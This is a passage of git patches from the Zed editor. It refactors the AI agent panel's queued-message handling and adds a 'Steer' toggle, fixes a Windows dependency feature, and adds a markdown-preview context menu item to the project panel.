@@ -605,9 +602,6 @@ pub struct ThreadView {
     _save_task: Option<Task<()>>,
     _draft_resolve_task: Option<Task<()>>,
     _sandbox_status_refresh_task: Option<Task<()>>,
-    pub skip_queue_processing_count: usize,
-    pub user_interrupted_generation: bool,
-    pub can_fast_track_queue: bool,
     pub hovered_edited_file_buttons: Option<usize>,
     pub in_flight_prompt: Option<Vec<acp::ContentBlock>>,
     pub _subscriptions: Vec<Subscription>,
@@ -989,10 +983,7 @@ impl ThreadView {
             editor_expanded: false,
             should_be_following: false,
             editing_message: None,
-            local_queued_messages: Vec::new(),
-            queued_message_editors: Vec::new(),
-            queued_message_editor_subscriptions: Vec::new(),
-            last_synced_queue_length: 0,
+            message_queue: MessageQueue::default(),
             turn_fields: TurnFields::default(),
             discarded_partial_edits: HashSet::default(),
             is_loading_contents: false,
@@ -1002,9 +993,6 @@ impl ThreadView {
             _save_task: None,
             _draft_resolve_task: None,
             _sandbox_status_refresh_task: None,
-            skip_queue_processing_count: 0,
-            user_interrupted_generation: false,
-            can_fast_track_queue: false,
             hovered_edited_file_buttons: None,
             in_flight_prompt: None,
             message_editor,
@@ -1188,7 +1176,7 @@ impl ThreadView {
     }
 
     pub fn has_queued_messages(&self) -> bool {
-        !self.local_queued_messages.is_empty()
+        !self.message_queue.is_empty()
     }
 
     pub fn is_imported_thread(&self, cx: &App) -> bool {
@@ -1431,14 +1419,10 @@ impl ThreadView {
         let is_editor_empty = message_editor.read(cx).is_empty(cx);
         let is_generating = thread.read(cx).status() != ThreadStatus::Idle;
 
-        let has_queued = self.has_queued_messages();
-        if is_editor_empty && self.can_fast_track_queue && has_queued {
-            self.can_fast_track_queue = false;
-            self.send_queued_message_at_index(0, true, window, cx);
-            return;
-        }
-
         if is_editor_empty {
+            if let Some(entry) = self.message_queue.try_fast_track(is_generating) {
+                self.dispatch_queued_entry(entry, window, cx);
+            }
             return;
         }
 
@@ -1547,7 +1531,7 @@ impl ThreadView {
                 // Queue the remainder first, then start the command turn; the
                 // queue auto-processes when the command turn stops.
                 if !content.is_empty() {
-                    this.add_to_queue(content, tracked_buffers, cx);
+                    this.add_to_queue(content, tracked_buffers, window, cx);
                 }
                 this.send_content(
                     Task::ready(Ok(Some((vec![command_block], Vec::new())))),
@@ -1572,6 +1556,9 @@ impl ThreadView {
         self.thread_error.take();
         self.thread_feedback.clear();
         self.editing_message.take();
+        // Sending a message is active engagement: un-freeze the queue if it
+        // was paused by a manual stop.
+        self.message_queue.resume();
 
         if self.should_be_following {
             self.workspace
@@ -1780,8 +1767,7 @@ impl ThreadView {
         cx: &mut Context<Self>,
     ) {
         let thread = self.thread.clone();
-        self.skip_queue_processing_count = 0;
-        self.user_interrupted_generation = true;
+        self.message_queue.pause();
 
         let cancelled = thread.update(cx, |thread, cx| thread.cancel(cx));
 
@@ -1920,7 +1906,7 @@ impl ThreadView {
     pub fn cancel_generation(&mut self, cx: &mut Context<Self>) {
         self.thread_retry_status.take();
         self.thread_error.take();
-        self.user_interrupted_generation = true;
+        self.message_queue.pause();
         self._cancel_task = Some(self.thread.update(cx, |thread, cx| thread.cancel(cx)));
         self.sync_generating_indicator(cx);
         cx.notify();
@@ -2036,8 +2022,7 @@ impl ThreadView {
             }
 
             this.update_in(cx, |this, window, cx| {
-                this.add_to_queue(content, tracked_buffers, cx);
-                this.can_fast_track_queue = true;
+                this.add_to_queue(content, tracked_buffers, window, cx);
                 message_editor.update(cx, |message_editor, cx| {
                     message_editor.clear(window, cx);
                 });
@@ -2052,55 +2037,165 @@ impl ThreadView {
         &mut self,
         content: Vec<acp::ContentBlock>,
         tracked_buffers: Vec<Entity<Buffer>>,
+        window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        self.local_queued_messages.push(QueuedMessage {
+        // The ID must be allocated up front so the editor event subscription
+        // can capture it before the entry (which owns the subscription) exists.
+        let id = self.message_queue.next_id();
+
+        let editor = cx.new(|cx| {
+            let mut editor = MessageEditor::new(
+                self.workspace.clone(),
+                self.project.clone(),
+                None,
+                self.session_capabilities.clone(),
+                self.agent_id.clone(),
+                "",
+                EditorMode::AutoHeight {
+                    min_lines: 1,
+                    max_lines: Some(10),
+                },
+                window,
+                cx,
+            );
+            editor.set_read_only(true, cx);
+            editor.set_message(content.clone(), window, cx);
+            editor
+        });
+
+        let subscription =
+            cx.subscribe_in(&editor, window, move |this, _editor, event, window, cx| {
+                this.handle_queue_editor_event(id, event, window, cx);
+            });
+
+        self.message_queue.enqueue(QueueEntry {
+            id,
             content,
             tracked_buffers,
+            steer: false,
+            editor,
+            _subscription: subscription,
         });
         self.sync_queue_flag_to_native_thread(cx);
+        cx.notify();
+    }
+
+    fn handle_queue_editor_event(
+        &mut self,
+        id: QueueEntryId,
+        event: &MessageEditorEvent,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        match event {
+            MessageEditorEvent::InputAttempted {
+                attempt,
+                cursor_offset,
+            } => {
+                self.move_queued_message_to_main_editor(
+                    id,
+                    Some(attempt.clone()),
+                    Some(*cursor_offset),
+                    window,
+                    cx,
+                );
+            }
+            MessageEditorEvent::LostFocus => {
+                self.save_queued_message(id, cx);
+            }
+            MessageEditorEvent::Cancel | MessageEditorEvent::Send => {
+                window.focus(&self.message_editor.focus_handle(cx), cx);
+            }
+            MessageEditorEvent::SendImmediately => {
+                self.send_queued_message_now(id, window, cx);
+            }
+            _ => {}
+        }
+    }
+
+    fn save_queued_message(&mut self, id: QueueEntryId, cx: &mut Context<Self>) {
+        let Some(entry) = self.message_queue.entry_by_id(id) else {
+            return;
+        };
+        let contents_task = entry
+            .editor
+            .update(cx, |editor, cx| editor.contents(false, cx));
+
+        cx.spawn(async move |this, cx| {
+            let (content, tracked_buffers) = contents_task.await?;
+
+            this.update(cx, |this, cx| {
+                if let Some(entry) = this.message_queue.entry_by_id_mut(id) {
+                    entry.content = content;
+                    entry.tracked_buffers = tracked_buffers;
+                }
+                cx.notify();
+            })?;
+
+            Ok::<(), anyhow::Error>(())
+        })
+        .detach_and_log_err(cx);
     }
 
     pub fn remove_from_queue(
         &mut self,
-        index: usize,
+        id: QueueEntryId,
         cx: &mut Context<Self>,
-    ) -> Option<QueuedMessage> {
-        if index < self.local_queued_messages.len() {
-            let removed = self.local_queued_messages.remove(index);
+    ) -> Option<QueueEntry> {
+        let removed = self.message_queue.remove(id);
+        if removed.is_some() {
             self.sync_queue_flag_to_native_thread(cx);
-            Some(removed)
-        } else {
-            None
         }
+        removed
+    }
+
+    fn toggle_queue_entry_steer(&mut self, id: QueueEntryId, cx: &mut Context<Self>) {
+        self.message_queue.toggle_steer(id);
+        self.sync_queue_flag_to_native_thread(cx);
+        cx.notify();
     }
 
     pub fn sync_queue_flag_to_native_thread(&self, cx: &mut Context<Self>) {
         if let Some(native_thread) = self.as_native_thread(cx) {
-            let has_queued = self.has_queued_messages();
+            // By default queued messages wait for the turn to fully complete.
+            // Only a "steering" front message ends the turn at the next boundary.
+            let end_at_boundary = self.message_queue.front_wants_steer();
             native_thread.update(cx, |thread, _| {
-                thread.set_has_queued_message(has_queued);
+                thread.set_end_turn_at_next_boundary(end_at_boundary);
             });
         }
     }
 
-    pub fn send_queued_message_at_index(
+    pub fn send_queued_message_now(
         &mut self,
-        index: usize,
-        is_send_now: bool,
+        id: QueueEntryId,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        let Some(queued) = self.remove_from_queue(index, cx) else {
-            return;
-        };
+        let is_generating = self.thread.read(cx).status() == acp_thread::ThreadStatus::Generating;
+        if let Some(entry) = self.message_queue.send_now(id, is_generating) {
+            self.dispatch_queued_entry(entry, window, cx);
+        }
+    }
+
+    /// The shared "actually send this entry" path, used by fast-track,
+    /// auto-processing on Stopped, and "Send Now". The entry must already have
+    /// been removed from the queue.
+    pub fn dispatch_queued_entry(
+        &mut self,
+        entry: QueueEntry,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.sync_queue_flag_to_native_thread(cx);
 
         cx.emit(AcpThreadViewEvent::Interacted);
 
         self.message_editor.focus_handle(cx).focus(window, cx);
 
-        let content = queued.content;
-        let tracked_buffers = queued.tracked_buffers;
+        let content = entry.content;
+        let tracked_buffers = entry.tracked_buffers;
 
         // A queued message can itself be a built-in command (e.g. the user typed
         // `/compact` while a turn was generating). Detect that so we run it as a
@@ -2117,16 +2212,6 @@ impl ThreadView {
             })
             .is_some();
 
-        // Only increment skip count for "Send Now" operations (out-of-order sends)
-        // Normal auto-processing from the Stopped handler doesn't need to skip.
-        // We only skip the Stopped event from the cancelled generation, NOT the
-        // Stopped event from the newly sent message (which should trigger queue processing).
-        if is_send_now {
-            let is_generating =
-                self.thread.read(cx).status() == acp_thread::ThreadStatus::Generating;
-            self.skip_queue_processing_count += if is_generating { 1 } else { 0 };
-        }
-
         let cancelled = self.thread.update(cx, |thread, cx| thread.cancel(cx));
 
         let workspace = self.workspace.clone();
@@ -2150,13 +2235,13 @@ impl ThreadView {
 
     pub fn move_queued_message_to_main_editor(
         &mut self,
-        index: usize,
+        id: QueueEntryId,
         attempt: Option<InputAttempt>,
         cursor_offset: Option<usize>,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> bool {
-        let Some(queued_message) = self.remove_from_queue(index, cx) else {
+        let Some(queued_message) = self.remove_from_queue(id, cx) else {
             return false;
         };
         let queued_content = queued_message.content;
@@ -2203,12 +2288,15 @@ impl ThreadView {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        if !self.message_editor.read(cx).is_empty(cx) || self.local_queued_messages.is_empty() {
+        if !self.message_editor.read(cx).is_empty(cx) {
             cx.propagate();
             return;
         }
-        let last_index = self.local_queued_messages.len() - 1;
-        self.move_queued_message_to_main_editor(last_index, None, None, window, cx);
+        let Some(last_id) = self.message_queue.last_id() else {
+            cx.propagate();
+            return;
+        };
+        self.move_queued_message_to_main_editor(last_id, None, None, window, cx);
     }
 
     // editor methods
@@ -3398,7 +3486,7 @@ impl ThreadView {
         _window: &mut Window,
         cx: &Context<Self>,
     ) -> impl IntoElement {
-        let queue_count = self.local_queued_messages.len();
+        let queue_count = self.message_queue.len();
         let title: SharedString = if queue_count == 1 {
             "1 Queued Message".into()
         } else {
@@ -3433,16 +3521,15 @@ impl ThreadView {
                     )
                     .on_click(cx.listener(|this, _, _, cx| {
                         this.clear_queue(cx);
-                        this.can_fast_track_queue = false;
-                        cx.notify();
                     })),
             )
             .into_any_element()
     }
 
     fn clear_queue(&mut self, cx: &mut Context<Self>) {
-        self.local_queued_messages.clear();
+        self.message_queue.clear();
         self.sync_queue_flag_to_native_thread(cx);
+        cx.notify();
     }
 
     fn render_plan_summary(
@@ -4198,6 +4285,40 @@ impl ThreadView {
             .into_any()
     }
 
+    fn render_queue_steer_button(
+        &self,
+        entry_id: QueueEntryId,
+        index: usize,
+        is_next: bool,
+        steer_on: bool,
+        cx: &Context<Self>,
+    ) -> impl IntoElement {
+        let focus_handle = self.message_editor.focus_handle(cx);
+
+        Button::new(("steer", index), "Steer")
+            .label_size(LabelSize::Small)
+            .toggle_state(steer_on)
+            .selected_style(ButtonStyle::Tinted(TintColor::Accent))
+            .when(is_next, |this| {
+                this.key_binding(
+                    KeyBinding::for_action_in(&ToggleSteerFirstQueuedMessage, &focus_handle, cx)
+                        .map(|kb| kb.size(rems_from_px(12.))),
+                )
+            })
+            .tooltip(move |_window, cx| {
+                Tooltip::with_meta(
+                    "Steer",
+                    None,
+                    "Interrupt the agent at its next step to send this message. \
+                     When off, queued messages wait for the agent to finish.",
+                    cx,
+                )
+            })
+            .on_click(cx.listener(move |this, _, _, cx| {
+                this.toggle_queue_entry_steer(entry_id, cx);
+            }))
+    }
+
     fn render_message_queue_entries(
         &self,
         _window: &mut Window,
@@ -4206,176 +4327,178 @@ impl ThreadView {
         let message_editor = self.message_editor.read(cx);
         let focus_handle = message_editor.focus_handle(cx);
 
-        let queued_message_editors = &self.queued_message_editors;
-        let queue_len = queued_message_editors.len();
-        let can_fast_track = self.can_fast_track_queue && queue_len > 0;
+        let queue_len = self.message_queue.len();
+        let can_fast_track = self.message_queue.can_fast_track();
+        let is_native = self.as_native_thread(cx).is_some();
 
         v_flex()
             .id("message_queue_list")
             .max_h_40()
             .overflow_y_scroll()
-            .children(
-                queued_message_editors
-                    .iter()
-                    .enumerate()
-                    .map(|(index, editor)| {
-                        let is_next = index == 0;
-                        let (icon_color, tooltip_text) = if is_next {
-                            (Color::Accent, "Next in Queue")
-                        } else {
-                            (Color::Muted, "In Queue")
-                        };
+            .children(self.message_queue.iter().enumerate().map(|(index, entry)| {
+                let entry_id = entry.id;
+                let editor = &entry.editor;
+                let is_next = index == 0;
+                let (icon_color, tooltip_text) = if is_next {
+                    (Color::Accent, "Next in Queue")
+                } else {
+                    (Color::Muted, "In Queue")
+                };
+
+                let editor_focused = editor.focus_handle(cx).is_focused(_window);
+                let keybinding_size = rems_from_px(12.);
+                let steer_on = entry.steer;
 
-                        let editor_focused = editor.focus_handle(cx).is_focused(_window);
-                        let keybinding_size = rems_from_px(12.);
+                let min_width = rems_from_px(160.);
 
+                h_flex()
+                    .group("queue_entry")
+                    .w_full()
+                    .p_1p5()
+                    .gap_1()
+                    .bg(cx.theme().colors().editor_background)
+                    .when(index < queue_len - 1, |this| {
+                        this.border_b_1()
+                            .border_color(cx.theme().colors().border_variant)
+                    })
+                    .child(
+                        div()
+                            .id("next_in_queue")
+                            .child(
+                                Icon::new(IconName::Circle)
+                                    .size(IconSize::Small)
+                                    .color(icon_color),
+                            )
+                            .tooltip(Tooltip::text(tooltip_text)),
+                    )
+                    .child(editor.clone())
+                    .child(if editor_focused {
                         h_flex()
-                            .group("queue_entry")
-                            .w_full()
-                            .p_1p5()
                             .gap_1()
-                            .bg(cx.theme().colors().editor_background)
-                            .when(index < queue_len - 1, |this| {
-                                this.border_b_1()
-                                    .border_color(cx.theme().colors().border_variant)
+                            .min_w(min_width)
+                            .justify_end()
+                            .child(
+                                IconButton::new(("edit", index), IconName::Pencil)
+                                    .icon_size(IconSize::Small)
+                                    .tooltip(|_window, cx| {
+                                        Tooltip::with_meta(
+                                            "Edit Queued Message",
+                                            None,
+                                            "Type anything to edit",
+                                            cx,
+                                        )
+                                    })
+                                    .on_click(cx.listener(move |this, _, window, cx| {
+                                        this.move_queued_message_to_main_editor(
+                                            entry_id, None, None, window, cx,
+                                        );
+                                    })),
+                            )
+                            .when(is_native, |row| {
+                                row.child(self.render_queue_steer_button(
+                                    entry_id, index, is_next, steer_on, cx,
+                                ))
                             })
                             .child(
-                                div()
-                                    .id("next_in_queue")
-                                    .child(
-                                        Icon::new(IconName::Circle)
-                                            .size(IconSize::Small)
-                                            .color(icon_color),
+                                Button::new(("send_now_focused", index), "Send Now")
+                                    .label_size(LabelSize::Small)
+                                    .style(ButtonStyle::Outlined)
+                                    .key_binding(
+                                        KeyBinding::for_action_in(
+                                            &SendImmediately,
+                                            &editor.focus_handle(cx),
+                                            cx,
+                                        )
+                                        .map(|kb| kb.size(keybinding_size)),
                                     )
-                                    .tooltip(Tooltip::text(tooltip_text)),
+                                    .on_click(cx.listener(move |this, _, window, cx| {
+                                        this.send_queued_message_now(entry_id, window, cx);
+                                    })),
                             )
-                            .child(editor.clone())
-                            .child(if editor_focused {
-                                h_flex()
-                                    .gap_1()
-                                    .min_w(rems_from_px(150.))
-                                    .justify_end()
-                                    .child(
-                                        IconButton::new(("edit", index), IconName::Pencil)
-                                            .icon_size(IconSize::Small)
-                                            .tooltip(|_window, cx| {
-                                                Tooltip::with_meta(
-                                                    "Edit Queued Message",
-                                                    None,
-                                                    "Type anything to edit",
+                    } else {
+                        h_flex()
+                            .when(!is_next, |this| this.visible_on_hover("queue_entry"))
+                            .gap_1()
+                            .min_w(min_width)
+                            .justify_end()
+                            .child(
+                                IconButton::new(("delete", index), IconName::Trash)
+                                    .icon_size(IconSize::Small)
+                                    .tooltip({
+                                        let focus_handle = focus_handle.clone();
+                                        move |_window, cx| {
+                                            if is_next {
+                                                Tooltip::for_action_in(
+                                                    "Remove Message from Queue",
+                                                    &RemoveFirstQueuedMessage,
+                                                    &focus_handle,
                                                     cx,
                                                 )
-                                            })
-                                            .on_click(cx.listener(move |this, _, window, cx| {
-                                                this.move_queued_message_to_main_editor(
-                                                    index, None, None, window, cx,
-                                                );
-                                            })),
-                                    )
-                                    .child(
-                                        Button::new(("send_now_focused", index), "Send Now")
-                                            .label_size(LabelSize::Small)
-                                            .style(ButtonStyle::Outlined)
-                                            .key_binding(
-                                                KeyBinding::for_action_in(
-                                                    &SendImmediately,
-                                                    &editor.focus_handle(cx),
+                                            } else {
+                                                Tooltip::simple("Remove Message from Queue", cx)
+                                            }
+                                        }
+                                    })
+                                    .on_click(cx.listener(move |this, _, _, cx| {
+                                        this.remove_from_queue(entry_id, cx);
+                                        cx.notify();
+                                    })),
+                            )
+                            .child(
+                                IconButton::new(("edit", index), IconName::Pencil)
+                                    .icon_size(IconSize::Small)
+                                    .tooltip({
+                                        let focus_handle = focus_handle.clone();
+                                        move |_window, cx| {
+                                            if is_next {
+                                                Tooltip::for_action_in(
+                                                    "Edit",
+                                                    &EditFirstQueuedMessage,
+                                                    &focus_handle,
                                                     cx,
                                                 )
-                                                .map(|kb| kb.size(keybinding_size)),
-                                            )
-                                            .on_click(cx.listener(move |this, _, window, cx| {
-                                                this.send_queued_message_at_index(
-                                                    index, true, window, cx,
-                                                );
-                                            })),
-                                    )
-                            } else {
-                                h_flex()
-                                    .when(!is_next, |this| this.visible_on_hover("queue_entry"))
-                                    .gap_1()
-                                    .min_w(rems_from_px(150.))
-                                    .justify_end()
-                                    .child(
-                                        IconButton::new(("delete", index), IconName::Trash)
-                                            .icon_size(IconSize::Small)
-                                            .tooltip({
-                                                let focus_handle = focus_handle.clone();
-                                                move |_window, cx| {
-                                                    if is_next {
-                                                        Tooltip::for_action_in(
-                                                            "Remove Message from Queue",
-                                                            &RemoveFirstQueuedMessage,
-                                                            &focus_handle,
-                                                            cx,
-                                                        )
-                                                    } else {
-                                                        Tooltip::simple(
-                                                            "Remove Message from Queue",
-                                                            cx,
-                                                        )
-                                                    }
-                                                }
-                                            })
-                                            .on_click(cx.listener(move |this, _, _, cx| {
-                                                this.remove_from_queue(index, cx);
-                                                cx.notify();
-                                            })),
-                                    )
-                                    .child(
-                                        IconButton::new(("edit", index), IconName::Pencil)
-                                            .icon_size(IconSize::Small)
-                                            .tooltip({
-                                                let focus_handle = focus_handle.clone();
-                                                move |_window, cx| {
-                                                    if is_next {
-                                                        Tooltip::for_action_in(
-                                                            "Edit",
-                                                            &EditFirstQueuedMessage,
-                                                            &focus_handle,
-                                                            cx,
-                                                        )
-                                                    } else {
-                                                        Tooltip::simple("Edit", cx)
-                                                    }
-                                                }
-                                            })
-                                            .on_click(cx.listener(move |this, _, window, cx| {
-                                                this.move_queued_message_to_main_editor(
-                                                    index, None, None, window, cx,
-                                                );
-                                            })),
-                                    )
-                                    .child(
-                                        Button::new(("send_now", index), "Send Now")
-                                            .label_size(LabelSize::Small)
-                                            .when(is_next, |this| this.style(ButtonStyle::Outlined))
-                                            .when(is_next && message_editor.is_empty(cx), |this| {
-                                                let action: Box<dyn gpui::Action> =
-                                                    if can_fast_track {
-                                                        Box::new(Chat)
-                                                    } else {
-                                                        Box::new(SendNextQueuedMessage)
-                                                    };
-
-                                                this.key_binding(
-                                                    KeyBinding::for_action_in(
-                                                        action.as_ref(),
-                                                        &focus_handle.clone(),
-                                                        cx,
-                                                    )
-                                                    .map(|kb| kb.size(keybinding_size)),
-                                                )
-                                            })
-                                            .on_click(cx.listener(move |this, _, window, cx| {
-                                                this.send_queued_message_at_index(
-                                                    index, true, window, cx,
-                                                );
-                                            })),
-                                    )
+                                            } else {
+                                                Tooltip::simple("Edit", cx)
+                                            }
+                                        }
+                                    })
+                                    .on_click(cx.listener(move |this, _, window, cx| {
+                                        this.move_queued_message_to_main_editor(
+                                            entry_id, None, None, window, cx,
+                                        );
+                                    })),
+                            )
+                            .when(is_native, |row| {
+                                row.child(self.render_queue_steer_button(
+                                    entry_id, index, is_next, steer_on, cx,
+                                ))
                             })
-                    }),
-            )
+                            .child(
+                                Button::new(("send_now", index), "Send Now")
+                                    .label_size(LabelSize::Small)
+                                    .when(is_next, |this| this.style(ButtonStyle::Outlined))
+                                    .when(is_next && message_editor.is_empty(cx), |this| {
+                                        let action: Box<dyn gpui::Action> = if can_fast_track {
+                                            Box::new(Chat)
+                                        } else {
+                                            Box::new(SendNextQueuedMessage)
+                                        };
+
+                                        this.key_binding(
+                                            KeyBinding::for_action_in(
+                                                action.as_ref(),
+                                                &focus_handle.clone(),
+                                                cx,
+                                            )
+                                            .map(|kb| kb.size(keybinding_size)),
+                                        )
+                                    })
+                                    .on_click(cx.listener(move |this, _, window, cx| {
+                                        this.send_queued_message_now(entry_id, window, cx);
+                                    })),
+                            )
+                    })
+            }))
             .into_any_element()
     }
 
@@ -11556,20 +11679,33 @@ impl Render for ThreadView {
                 }),
             )
             .on_action(cx.listener(|this, _: &SendNextQueuedMessage, window, cx| {
-                this.send_queued_message_at_index(0, true, window, cx);
+                if let Some(id) = this.message_queue.first_id() {
+                    this.send_queued_message_now(id, window, cx);
+                }
             }))
             .on_action(cx.listener(|this, _: &RemoveFirstQueuedMessage, _, cx| {
-                this.remove_from_queue(0, cx);
-                cx.notify();
+                if let Some(id) = this.message_queue.first_id() {
+                    this.remove_from_queue(id, cx);
+                    cx.notify();
+                }
             }))
             .on_action(cx.listener(|this, _: &EditFirstQueuedMessage, window, cx| {
-                this.move_queued_message_to_main_editor(0, None, None, window, cx);
+                if let Some(id) = this.message_queue.first_id() {
+                    this.move_queued_message_to_main_editor(id, None, None, window, cx);
+                }
             }))
+            .on_action(
+                cx.listener(|this, _: &ToggleSteerFirstQueuedMessage, _, cx| {
+                    if this.as_native_thread(cx).is_none() {
+                        return;
+                    }
+                    if let Some(id) = this.message_queue.first_id() {
+                        this.toggle_queue_entry_steer(id, cx);
+                    }
+                }),
+            )
             .on_action(cx.listener(|this, _: &ClearMessageQueue, _, cx| {
-                this.local_queued_messages.clear();
-                this.sync_queue_flag_to_native_thread(cx);
-                this.can_fast_track_queue = false;
-                cx.notify();
+                this.clear_queue(cx);
             }))
             .on_action(cx.listener(|this, _: &ToggleProfileSelector, window, cx| {
                 if let Some(config_options_view) = this.config_options_view.clone() {
diff --git a/docs/src/ai/agent-panel.md b/docs/src/ai/agent-panel.md
index 48c73252ba74b0..e8f6115e02bb03 100644
--- a/docs/src/ai/agent-panel.md
+++ b/docs/src/ai/agent-panel.md
@@ -64,7 +64,7 @@ You can click on the card that contains your message and re-submit it with an ad
 
 Messages sent while the agent is in the generating state get, by default, queued.
 
-For the Zed Agent, queued messages get sent at the next turn boundary, which is usually between a tool call and a response, whereas for External Agents, the message gets sent at the end of the generation.
+By default, queued messages get sent once the agent finishes generating. If you want a queued message to reach the Zed Agent sooner—interrupting it at its next step (usually between a tool call and a response) rather than waiting for it to finish—toggle "Steer" on that message. Steering is only available for the Zed Agent, since Zed can't detect turn boundaries for external agents.
 
 You can edit or remove (an individual or all) queued messages.
 You can also still interrupt the agent immediately if you want by either clicking on the stop button or by clicking the "Send Now" (double-enter) on a queued message.

From eb877503230a2beba1105d1ecb9320d1f555347e Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Fri, 26 Jun 2026 13:49:57 +0200
Subject: [PATCH 116/772] gpui_windows: Add missing windows dependency feature
 (#59886)

https://github.com/zed-industries/zed/pull/59831 broke the crate from
compiling standalone

---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/gpui/Cargo.toml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/crates/gpui/Cargo.toml b/crates/gpui/Cargo.toml
index 64efe02f54956c..fa6fcace40f376 100644
--- a/crates/gpui/Cargo.toml
+++ b/crates/gpui/Cargo.toml
@@ -142,7 +142,7 @@ scap = { workspace = true, optional = true }
 
 
 [target.'cfg(target_os = "windows")'.dependencies]
-windows = { version = "0.61", features = ["Win32_Foundation"] }
+windows = { version = "0.61", features = ["Win32_Foundation", "Win32_System_Power"] }
 
 
 [dev-dependencies]

From db30c67ed254ee703399ea862cfc6acf33332b09 Mon Sep 17 00:00:00 2001
From: Eli Stark <i@whitehat.com.ua>
Date: Fri, 26 Jun 2026 08:30:51 -0400
Subject: [PATCH 117/772] project_panel: Add markdown preview context menu item
 (#57112)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Opening a markdown file from the project panel used to require four
steps:
- click the file (opens raw editor)
- right-click the editor tab
- select "Open Markdown Preview"
- then close the raw editor tab

This PR shortcuts that to a single right-click (or keypress) from the
project panel.

Right-clicking a markdown file in the project panel now shows an **Open
Markdown Preview** option. Selecting it opens the rendered markdown
preview directly — no raw editor tab is left behind. The same shortcut
used in the editor (Cmd+Shift+V on macOS, Ctrl+Shift+V on Windows/Linux)
also works when focus is in the project panel.

## How it works

- **Context menu**: `OpenMarkdownPreview` action is registered and
surfaced in the right-click menu only for `.md`/`.markdown` files.
- **Keybinding**: `cmd-shift-v` / `ctrl-shift-v` bound to
`project_panel::OpenMarkdownPreview` in the `ProjectPanel` context,
mirroring the existing editor binding.
- **Loading**: The file is opened via `open_path_preview` with
`focus_item: false, activate: false`, so the raw editor is loaded into
the buffer system but never becomes the visible tab.
- **Preview construction**: `MarkdownPreviewView::create_markdown_view`
is called directly (no `dispatch_action` indirection, which would have
been deferred and caused a race). The preview is added to the active
pane and the raw editor tab is removed atomically in one synchronous
pane update.
- **Pre-existing tabs**: Before loading, all panes are checked for an
existing item at the file's project path. If the file is already open in
raw mode, `remove_item` is skipped — the existing tab is left untouched.

Release Notes:

- Added "Open Markdown Preview" context menu item to Project Panel
markdown entries.

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
Co-authored-by: Tom Houlé <tom@tomhoule.com>
---
 Cargo.lock                                    |  1 +
 .../src/markdown_preview_view.rs              | 40 ++++++++++++++++++-
 crates/project_panel/Cargo.toml               |  1 +
 crates/project_panel/src/project_panel.rs     | 36 ++++++++++++++++-
 4 files changed, 76 insertions(+), 2 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 7680a19c20101e..794ec8f1ce52f6 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -14057,6 +14057,7 @@ dependencies = [
  "gpui",
  "itertools 0.14.0",
  "language",
+ "markdown_preview",
  "menu",
  "notifications",
  "pretty_assertions",
diff --git a/crates/markdown_preview/src/markdown_preview_view.rs b/crates/markdown_preview/src/markdown_preview_view.rs
index 55ba68ecb8d664..1d69d829e70fec 100644
--- a/crates/markdown_preview/src/markdown_preview_view.rs
+++ b/crates/markdown_preview/src/markdown_preview_view.rs
@@ -28,6 +28,7 @@ use ui::utils::WithRemSize;
 use ui::{ContextMenu, WithScrollbar, prelude::*, right_click_menu};
 use util::markdown::split_local_url_fragment;
 use workspace::item::{Item, ItemBufferKind, ItemHandle, SaveOptions, SerializableItem};
+use workspace::notifications::NotifyResultExt;
 use workspace::searchable::{
     Direction, SearchEvent, SearchOptions, SearchToken, SearchableItem, SearchableItemHandle,
 };
@@ -208,7 +209,7 @@ impl MarkdownPreviewView {
         None
     }
 
-    fn create_markdown_view(
+    pub fn create_markdown_view(
         workspace: &mut Workspace,
         editor: Entity<Editor>,
         window: &mut Window,
@@ -337,6 +338,43 @@ impl MarkdownPreviewView {
         }
     }
 
+    pub fn is_markdown_path(path: impl AsRef<Path>) -> bool {
+        path.as_ref().extension().is_some_and(|ext| {
+            ext.eq_ignore_ascii_case("md") || ext.eq_ignore_ascii_case("markdown")
+        })
+    }
+
+    pub fn open_for_project_path(
+        project_path: ProjectPath,
+        workspace: &mut Workspace,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        let open_buffer = workspace
+            .project()
+            .update(cx, |project, cx| project.open_buffer(project_path, cx));
+
+        cx.spawn_in(window, async move |workspace, mut cx| {
+            let Some(buffer) = open_buffer
+                .await
+                .notify_workspace_async_err(workspace.clone(), &mut cx)
+            else {
+                return;
+            };
+            workspace
+                .update_in(cx, |workspace, window, cx| {
+                    let project = workspace.project().clone();
+                    let editor = cx.new(|cx| Editor::for_buffer(buffer, Some(project), window, cx));
+                    let preview = Self::create_markdown_view(workspace, editor, window, cx);
+                    workspace.active_pane().update(cx, |pane, cx| {
+                        pane.add_item(Box::new(preview), true, true, None, window, cx);
+                    });
+                })
+                .ok();
+        })
+        .detach();
+    }
+
     pub fn is_markdown_file<V>(editor: &Entity<Editor>, cx: &mut Context<V>) -> bool {
         let buffer = editor.read(cx).buffer().read(cx);
         if let Some(buffer) = buffer.as_singleton()
diff --git a/crates/project_panel/Cargo.toml b/crates/project_panel/Cargo.toml
index d20b09107da064..eac58314f08a70 100644
--- a/crates/project_panel/Cargo.toml
+++ b/crates/project_panel/Cargo.toml
@@ -45,6 +45,7 @@ client.workspace = true
 worktree.workspace = true
 workspace.workspace = true
 language.workspace = true
+markdown_preview.workspace = true
 zed_actions.workspace = true
 telemetry.workspace = true
 notifications.workspace = true
diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index 7b1072849c0176..da0cfe2789b38c 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -30,6 +30,7 @@ use gpui::{
     point, px, size, transparent_white, uniform_list,
 };
 use language::DiagnosticSeverity;
+use markdown_preview::markdown_preview_view::MarkdownPreviewView;
 use menu::{Confirm, SelectFirst, SelectLast, SelectNext, SelectPrevious};
 use notifications::status_toast::StatusToast;
 use project::{
